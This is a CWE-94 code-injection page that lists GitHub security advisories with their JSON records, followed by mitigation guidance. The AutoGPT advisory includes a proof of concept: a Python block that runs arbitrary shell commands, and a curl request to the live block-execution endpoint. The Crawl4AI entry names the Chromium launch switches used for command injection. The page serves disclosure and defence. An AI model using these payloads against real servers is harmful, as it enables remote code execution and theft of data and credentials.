Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8342 vulnerabilities reference this CWE, most recent first.

GHSA-QXQ8-64VV-45V8

Vulnerability from github – Published: 2026-06-23 18:31 – Updated: 2026-06-23 18:31
VLAI
Details

A missing validation of user input when saving delivery limitations in Revive Adserver 6.0.6 and earlier could allow a low‑privileged user to use the logical parameter to inject malicious PHP code into the compiledlimitations field on the database and have it executed during banner delivery. Input sanitisation has been improved to ensure that the parameter is properly validated.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-34916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T17:16:53Z",
    "severity": "HIGH"
  },
  "details": "A missing validation of user input when saving delivery limitations in Revive Adserver 6.0.6 and earlier could allow a low\u2011privileged user to use the logical parameter to inject malicious PHP code into the compiledlimitations field on the database and have it executed during banner delivery. Input sanitisation has been improved to ensure that the parameter is properly validated.",
  "id": "GHSA-qxq8-64vv-45v8",
  "modified": "2026-06-23T18:31:41Z",
  "published": "2026-06-23T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34916"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3656781"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXRC-MPFR-XPP8

Vulnerability from github – Published: 2022-05-01 18:04 – Updated: 2022-05-01 18:04
VLAI
Details

PHP remote file inclusion vulnerability in common.php in E-GADS! before 2.2.7 allows remote attackers to execute arbitrary PHP code via a URL in the locale parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-2521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-05-08T18:19:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in common.php in E-GADS! before 2.2.7 allows remote attackers to execute arbitrary PHP code via a URL in the locale parameter.",
  "id": "GHSA-qxrc-mpfr-xpp8",
  "modified": "2022-05-01T18:04:23Z",
  "published": "2022-05-01T18:04:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2521"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/34073"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/project/shownotes.php?group_id=88942\u0026release_id=533122"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/3846"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/35773"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25104"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23817"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QXRQ-FP7F-QQH5

Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2025-11-04 00:31
VLAI
Details

Setting SMS media allows to set GSM modem file. Later this file is used as Linux device. But due everything is a file for Linux, it is possible to set another file, e.g. log file and zabbix_server will try to communicate with it as modem. As a result, log file will be broken with AT commands and small part for log file content will be leaked to UI.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:16Z",
    "severity": "LOW"
  },
  "details": "Setting SMS media allows to set GSM modem file. Later this file is used as Linux device. But due everything is a file for Linux, it is possible to set another file, e.g. log file and zabbix_server will try to communicate with it as modem. As a result, log file will be broken with AT commands and small part for log file content will be leaked to UI.",
  "id": "GHSA-qxrq-fp7f-qqh5",
  "modified": "2025-11-04T00:31:11Z",
  "published": "2024-08-12T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22123"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://support.zabbix.com/browse/ZBX-25013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXRX-PHH6-6WRX

Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2025-04-09 04:08
VLAI
Details

PHP remote file inclusion vulnerability in html/admin/modules/plugin_admin.php in HoMaP-CMS 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the _settings[pluginpath] parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-6740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-21T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in html/admin/modules/plugin_admin.php in HoMaP-CMS 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the _settings[pluginpath] parameter.",
  "id": "GHSA-qxrx-phh6-6wrx",
  "modified": "2025-04-09T04:08:31Z",
  "published": "2022-05-17T00:38:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6740"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43251"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5902"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QXVX-PJM6-2G2Q

Vulnerability from github – Published: 2022-05-13 01:39 – Updated: 2022-05-13 01:39
VLAI
Details

A certain ActiveX control in HPTicketMgr.dll in HP Easy Printer Care Software 2.5 and earlier allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via unspecified vectors, a different vulnerability than CVE-2011-2404 and CVE-2011-4786.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-4787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-01-12T19:55:00Z",
    "severity": "HIGH"
  },
  "details": "A certain ActiveX control in HPTicketMgr.dll in HP Easy Printer Care Software 2.5 and earlier allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via unspecified vectors, a different vulnerability than CVE-2011-2404 and CVE-2011-4786.",
  "id": "GHSA-qxvx-pjm6-2g2q",
  "modified": "2022-05-13T01:39:24Z",
  "published": "2022-05-13T01:39:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4787"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-01/0078.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R23H-H8PW-FC6P

Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2023-01-18 00:30
VLAI
Details

Vulnerability in the Oracle Communications Converged Application Server product of Oracle Communications (component: Core). Supported versions that are affected are 7.1.0 and 8.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via UDP to compromise Oracle Communications Converged Application Server. Successful attacks of this vulnerability can result in takeover of Oracle Communications Converged Application Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-21890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-18T00:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Communications Converged Application Server product of Oracle Communications (component: Core).  Supported versions that are affected are 7.1.0 and  8.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via UDP to compromise Oracle Communications Converged Application Server.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Converged Application Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-r23h-h8pw-fc6p",
  "modified": "2023-01-18T00:30:16Z",
  "published": "2023-01-18T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21890"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R253-R9JW-QG44

Vulnerability from github – Published: 2026-06-18 17:25 – Updated: 2026-06-18 17:25
VLAI
Summary
Crawl4AI: Unauthenticated RCE via Chromium launch-argument injection in browser_config.extra_args
Details

Summary

The Docker API server accepted a request-supplied browser_config.extra_args, which flowed into Chromium's launch arguments. An attacker could inject Chromium switches that replace a child-process launch command (--utility-cmd-prefix, --renderer-cmd-prefix, --gpu-launcher, --browser-subprocess-path) together with --no-zygote, causing Chromium to fork/exec an attacker-controlled command as the container's runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution.

The earlier extra_args SSRF patch (0.8.9) used a denylist scoped to proxy/DNS flags; a denylist of launch switches is inherently incomplete, and these command-execution switches were not covered.

Affected paths

/crawl, /crawl/stream, /crawl/job accepting a request browser_config.extra_args.

Impact

Unauthenticated remote code execution as the container runtime user; full read/write of application data, mounted secrets, environment, and tokens, and out-of-band exfiltration independent of the HTTP response.

Fix

0.9.0 establishes a trust boundary for request-supplied configuration: extra_args (along with other power fields such as proxy, user_data_dir, cdp_url, init_scripts) is a forbidden field for untrusted request bodies. Any request that sets extra_args is rejected with HTTP 400 rather than scrubbed against an always-incomplete denylist. In-process SDK callers (trusted) are unaffected.

Workarounds

  • Upgrade to the patched version (0.9.0).
  • Enable authentication (CRAWL4AI_API_TOKEN) and restrict who can reach the API.
  • Run the container with a restrictive seccomp profile and no ability to exec helper binaries.

Credits

Y4tacker - reported the --no-zygote + --utility-cmd-prefix command-injection chain with a confirmed in-container PoC and an allowlist/reject recommendation. UDU_RisePho (hoanggxyuuki) - independently reported the request-supplied Chromium launch-flag RCE class (--renderer-cmd-prefix), confirmed still reproducing on 0.8.9.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "crawl4ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T17:25:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Docker API server accepted a request-supplied `browser_config.extra_args`, which flowed into Chromium\u0027s launch arguments. An attacker could inject Chromium switches that replace a child-process launch command (`--utility-cmd-prefix`, `--renderer-cmd-prefix`, `--gpu-launcher`, `--browser-subprocess-path`) together with `--no-zygote`, causing Chromium to fork/exec an attacker-controlled command as the container\u0027s runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution.\n\nThe earlier `extra_args` SSRF patch (0.8.9) used a denylist scoped to proxy/DNS flags; a denylist of launch switches is inherently incomplete, and these command-execution switches were not covered.\n\n### Affected paths\n\n`/crawl`, `/crawl/stream`, `/crawl/job` accepting a request `browser_config.extra_args`.\n\n### Impact\n\nUnauthenticated remote code execution as the container runtime user; full read/write of application data, mounted secrets, environment, and tokens, and out-of-band exfiltration independent of the HTTP response.\n\n### Fix\n\n0.9.0 establishes a trust boundary for request-supplied configuration: `extra_args` (along with other power fields such as `proxy`, `user_data_dir`, `cdp_url`, `init_scripts`) is a forbidden field for untrusted request bodies. Any request that sets `extra_args` is rejected with HTTP 400 rather than scrubbed against an always-incomplete denylist. In-process SDK callers (trusted) are unaffected.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Enable authentication (`CRAWL4AI_API_TOKEN`) and restrict who can reach the API.\n- Run the container with a restrictive seccomp profile and no ability to exec helper binaries.\n\n### Credits\n\nY4tacker - reported the `--no-zygote` + `--utility-cmd-prefix` command-injection chain with a confirmed in-container PoC and an allowlist/reject recommendation.\nUDU_RisePho (hoanggxyuuki) - independently reported the request-supplied Chromium launch-flag RCE class (`--renderer-cmd-prefix`), confirmed still reproducing on 0.8.9.",
  "id": "GHSA-r253-r9jw-qg44",
  "modified": "2026-06-18T17:25:34Z",
  "published": "2026-06-18T17:25:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-r253-r9jw-qg44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unclecode/crawl4ai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Crawl4AI: Unauthenticated RCE via Chromium launch-argument injection in browser_config.extra_args"
}

GHSA-R26P-5P5Q-3J85

Vulnerability from github – Published: 2026-05-29 00:38 – Updated: 2026-05-29 15:30
VLAI
Details

Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T23:16:51Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-r26p-5p5q-3j85",
  "modified": "2026-05-29T15:30:31Z",
  "published": "2026-05-29T00:38:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9938"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/502300817"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R277-3XC5-C79V

Vulnerability from github – Published: 2026-01-29 15:04 – Updated: 2026-01-30 00:04
VLAI
Summary
AutoGPT is Vulnerable to RCE via Disabled Block Execution
Details

Summary

AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via __import__(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.

Details

Two vulnerable endpoints exist:

  1. Main Web API (v1.py#L355-395) - Any authenticated user:
@v1_router.post(
    path="/blocks/{block_id}/execute",
    dependencies=[Security(requires_user)],  # Just requires login
)
async def execute_graph_block(block_id: str, data: BlockInput, ...):
    obj = get_block(block_id)
    if not obj:
        raise HTTPException(status_code=404, ...)

    # NO CHECK FOR obj.disabled!

    async for name, data in obj.execute(data, ...):
        output[name].append(data)
  1. External API (external/v1/routes.py#L79-93) - Same issue.

The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including EXECUTE_BLOCK) at v1.py#L1408-1424. As a result, a low-privilege user can create an API key and invoke the external block execution route.

The disabled flag is documented but not enforced:

From block.py#L459:

"disabled: If the block is disabled, it will not be available for execution."

The block listing endpoint correctly filters disabled blocks (if not b.disabled), but the execution endpoints do not check this flag.

The dangerous block (blocks/block.py#L15-78):

class BlockInstallationBlock(Block):
    """
    NOTE: This block allows remote code execution on the server,
    and it should be used for development purposes only.
    """

    def __init__(self):
        super().__init__(
            id="45e78db5-03e9-447f-9395-308d712f5f08",  # Hardcoded, public UUID
            disabled=True,  # NOT ENFORCED!
        )

    async def run(self, input_data: Input, **kwargs) -> BlockOutput:
        code = input_data.code

        # Writes attacker code to server filesystem
        file_path = f"{block_dir}/{file_name}.py"
        with open(file_path, "w") as f:
            f.write(code)

        # Executes via import (RCE)
        module = __import__(module_name, fromlist=[class_name])

PoC

1. Create malicious block code

PAYLOAD = '''
import os
from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput
from backend.data.model import SchemaField

class RCEBlock(Block):
    class Input(BlockSchemaInput):
        cmd: str = SchemaField(description="Command")
    class Output(BlockSchemaOutput):
        result: str = SchemaField(description="Result")

    def __init__(self):
        super().__init__(
            id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
            description="RCE",
            input_schema=self.Input,
            output_schema=self.Output,
        )

    async def run(self, input_data, **kwargs):
        import subprocess
        result = subprocess.check_output(input_data.cmd, shell=True).decode()
        yield "result", result
'''

2. Execute via main web API (any logged-in user)

# Get session cookie by logging into the web UI, then:
curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \
  -H "Cookie: session=<your_session_cookie>" \
  -H "Content-Type: application/json" \
  -d '{"code": "<PAYLOAD>"}'

The malicious Python code is written to the server's backend/blocks/ directory and immediately executed via __import__().

Alternative route: Mint an API key with EXECUTE_BLOCK via POST /api-keys, then call the external API POST /external-api/v1/blocks/{id}/execute.

Impact

Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.

This allows: - Complete server compromise - Access to all user data, credentials, and API keys stored in the database - Access to environment variables (cloud credentials, secrets) - Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services) - Persistent backdoor installation

Attack requirements: - Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account) - Know the disabled block's UUID (hardcoded in public source code: 45e78db5-03e9-447f-9395-308d712f5f08)

Why the disabled flag exists but fails: - Block listing correctly filters disabled blocks (users don't see them in UI) - Execution endpoints bypass this check entirely - The UUID is static and publicly known from the open-source codebase

Severity note: CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.

A fix is available, but was not published to the PyPI registry at time of publication: 0.6.44

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "agpt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-863",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-29T15:04:03Z",
    "nvd_published_at": "2026-01-29T18:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAutoGPT Platform\u0027s block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.\n\n### Details\n\n**Two vulnerable endpoints exist:**\n\n1. **Main Web API** ([`v1.py#L355-395`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395)) - Any authenticated user:\n\n```python\n@v1_router.post(\n    path=\"/blocks/{block_id}/execute\",\n    dependencies=[Security(requires_user)],  # Just requires login\n)\nasync def execute_graph_block(block_id: str, data: BlockInput, ...):\n    obj = get_block(block_id)\n    if not obj:\n        raise HTTPException(status_code=404, ...)\n\n    # NO CHECK FOR obj.disabled!\n\n    async for name, data in obj.execute(data, ...):\n        output[name].append(data)\n```\n\n2. **External API** ([`external/v1/routes.py#L79-93`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93)) - Same issue.\n\nThe external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including `EXECUTE_BLOCK`) at [`v1.py#L1408-1424`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424). As a result, a low-privilege user can create an API key and invoke the external block execution route.\n\n**The disabled flag is documented but not enforced:**\n\nFrom [`block.py#L459`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459):\n\u003e \"disabled: If the block is disabled, it will not be available for execution.\"\n\nThe block listing endpoint correctly filters disabled blocks (`if not b.disabled`), but the execution endpoints do not check this flag.\n\n**The dangerous block ([`blocks/block.py#L15-78`](https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78)):**\n\n```python\nclass BlockInstallationBlock(Block):\n    \"\"\"\n    NOTE: This block allows remote code execution on the server,\n    and it should be used for development purposes only.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__(\n            id=\"45e78db5-03e9-447f-9395-308d712f5f08\",  # Hardcoded, public UUID\n            disabled=True,  # NOT ENFORCED!\n        )\n\n    async def run(self, input_data: Input, **kwargs) -\u003e BlockOutput:\n        code = input_data.code\n\n        # Writes attacker code to server filesystem\n        file_path = f\"{block_dir}/{file_name}.py\"\n        with open(file_path, \"w\") as f:\n            f.write(code)\n\n        # Executes via import (RCE)\n        module = __import__(module_name, fromlist=[class_name])\n```\n\n### PoC\n\n**1. Create malicious block code**\n\n```python\nPAYLOAD = \u0027\u0027\u0027\nimport os\nfrom backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput\nfrom backend.data.model import SchemaField\n\nclass RCEBlock(Block):\n    class Input(BlockSchemaInput):\n        cmd: str = SchemaField(description=\"Command\")\n    class Output(BlockSchemaOutput):\n        result: str = SchemaField(description=\"Result\")\n\n    def __init__(self):\n        super().__init__(\n            id=\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n            description=\"RCE\",\n            input_schema=self.Input,\n            output_schema=self.Output,\n        )\n\n    async def run(self, input_data, **kwargs):\n        import subprocess\n        result = subprocess.check_output(input_data.cmd, shell=True).decode()\n        yield \"result\", result\n\u0027\u0027\u0027\n```\n\n**2. Execute via main web API (any logged-in user)**\n\n```bash\n# Get session cookie by logging into the web UI, then:\ncurl -X POST \"https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute\" \\\n  -H \"Cookie: session=\u003cyour_session_cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\": \"\u003cPAYLOAD\u003e\"}\u0027\n```\n\nThe malicious Python code is written to the server\u0027s `backend/blocks/` directory and immediately executed via `__import__()`.\n\n**Alternative route:** Mint an API key with `EXECUTE_BLOCK` via `POST /api-keys`, then call the external API `POST /external-api/v1/blocks/{id}/execute`.\n\n### Impact\n\n**Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.**\n\nThis allows:\n- Complete server compromise\n- Access to all user data, credentials, and API keys stored in the database\n- Access to environment variables (cloud credentials, secrets)\n- Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services)\n- Persistent backdoor installation\n\n**Attack requirements:**\n- Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account)\n- Know the disabled block\u0027s UUID (hardcoded in public source code: `45e78db5-03e9-447f-9395-308d712f5f08`)\n\n**Why the `disabled` flag exists but fails:**\n- Block listing correctly filters disabled blocks (users don\u0027t see them in UI)\n- Execution endpoints bypass this check entirely\n- The UUID is static and publicly known from the open-source codebase\n\n**Severity note:** CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.\n\nA fix is available, but was not published to the PyPI registry at time of publication: [0.6.44](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/v0.6.44)",
  "id": "GHSA-r277-3xc5-c79v",
  "modified": "2026-01-30T00:04:18Z",
  "published": "2026-01-29T15:04:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24780"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Significant-Gravitas/AutoGPT"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AutoGPT is Vulnerable to RCE via Disabled Block Execution"
}

GHSA-R28W-28PR-5J83

Vulnerability from github – Published: 2025-01-08 06:30 – Updated: 2025-01-08 06:30
VLAI
Details

Vulnerability of improper access control in the home screen widget module Impact: Successful exploitation of this vulnerability may affect availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-56448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-08T04:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability of improper access control in the home screen widget module\nImpact: Successful exploitation of this vulnerability may affect availability.",
  "id": "GHSA-r28w-28pr-5j83",
  "modified": "2025-01-08T06:30:55Z",
  "published": "2025-01-08T06:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56448"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2025/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

